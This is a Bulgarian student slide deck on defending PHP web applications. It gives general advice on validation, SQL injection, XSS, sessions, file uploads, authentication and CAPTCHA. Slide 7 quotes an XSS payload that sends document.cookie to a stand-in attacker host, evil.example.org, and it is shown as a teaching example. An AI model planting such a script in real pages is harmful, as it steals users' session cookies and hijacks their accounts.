1. Защита при създаване на PHP-
приложения в Интернет
изготвил: Николай Борисов
специалност „Информатика“, ф.н. 9739
2. Методи за разработване на PHP
приложения
• Обектно ориентирано
• Да използваме фреймуорк
• Да използваме възможностите му
– Верификация на данните
– Санитаризация на данните
– Подреденост и неповтаряемост на кода
3. Error handling
Най-често срещаните причини за получаване на такива
грешки са:
• Грешка в писането
• Скука
• Предизвикателството да те надхитрят
• Просто любопитство
• Реални злонамерени намерения
Добра практика е грешките да се подтискат след
преключване на дебъгването на приложението и да се
показват само тези от тях, които разработчикът прецени, че
биха били от реална полза на потребителя.
4. Уеб-форми и URL – адреси
Това са най-честите места, които попадат на
вниманието на атакуващия, защото те са мястото
за взаимодействие със сайта.
Затова трябва:
• Да не вярваме на потребителя
• Да предвиждаме всяко едно негово действие
• Да се подготвим за най-лошия сценарии
Пример с използването на Zend Form и Zend Validate
класовете може да се види в реферата.
5. Бази от данни и SQL
Хранилището на нашата информация е и мястото
където се пази най-ценната част от нея. Затова
трябва:
• Да защитим файла с паролите и информацията за
връзката с БД
• Да се защитим от SQL injection
6. Криптиране на данните
Добра практика е ценната информация да се
криптира, за да се добави допълнителен слой
защита към нея.
7. Cross-Site Scripting
Проблемът се изразява в това, че в уеб-
формите може да се въведе скрипт, който да
внесе в сайта злонамерени функции.
Пример:
<script>
document.location =
'http://evil.example.org/steal.php?cookies='
+document.cookie
</script>
8. Сесии и Бисквитки
Могат да бъдат откраднати чрез Cross Site
Scripting, но истината че SESSION IDENTIFIER
вече не се използва самостоятелно а и дори в
новите хостинги е изключен по
подразбиране.
SSL дава допълнителен слой на сигурност.
9. Работа с файлове
• Да проверяваме и да се подсигуряваме
когато работим с чужди файлове (e.g.RSS)
• Да се предотвратява command injection
• Да се проверява какво се позволява да се
ъплоудва на вашия сайт
• Да се прави ограничение и в размера на
файла
10. Автентификация
Добре е в някои райони от сайта да се дава достъп
само на потребители, като се регламентира достапът
им чрез потребителско име и парола. Това
впоследствие създава и някои проблеми:
• Възможност от brute force атака
• Възможност от Sniffing атака
11. Споделен хостинг
Ето някои проблеми със споделения хостинг:
• Видим сорс код
• Видима сесия
• Инжектиране на сесия
12. Анти бот защита
CAPTCHA – видове
• Текстова - Zend_Captcha_Image
• Текст от символи -Zend_Captcha_Figlet
• Въвеждане на текст на обратно - Zend_Captcha_Dumb
• Аудио Captcha
• Когнитивна Captcha
13. Тествай, тествай и после тествай!
Тестването е една от задължителните практики
за разработване на сигурни и надеждни
информационни системи чрез PHP. При
тестването могат да излязат пробойни на места,
на които в други ситуации не би трябвало да
има, поради нестандартност на системата или
поради вземане на нестандартни решения от
страна на програмиста за решаване на иначе
стандартни проблеми.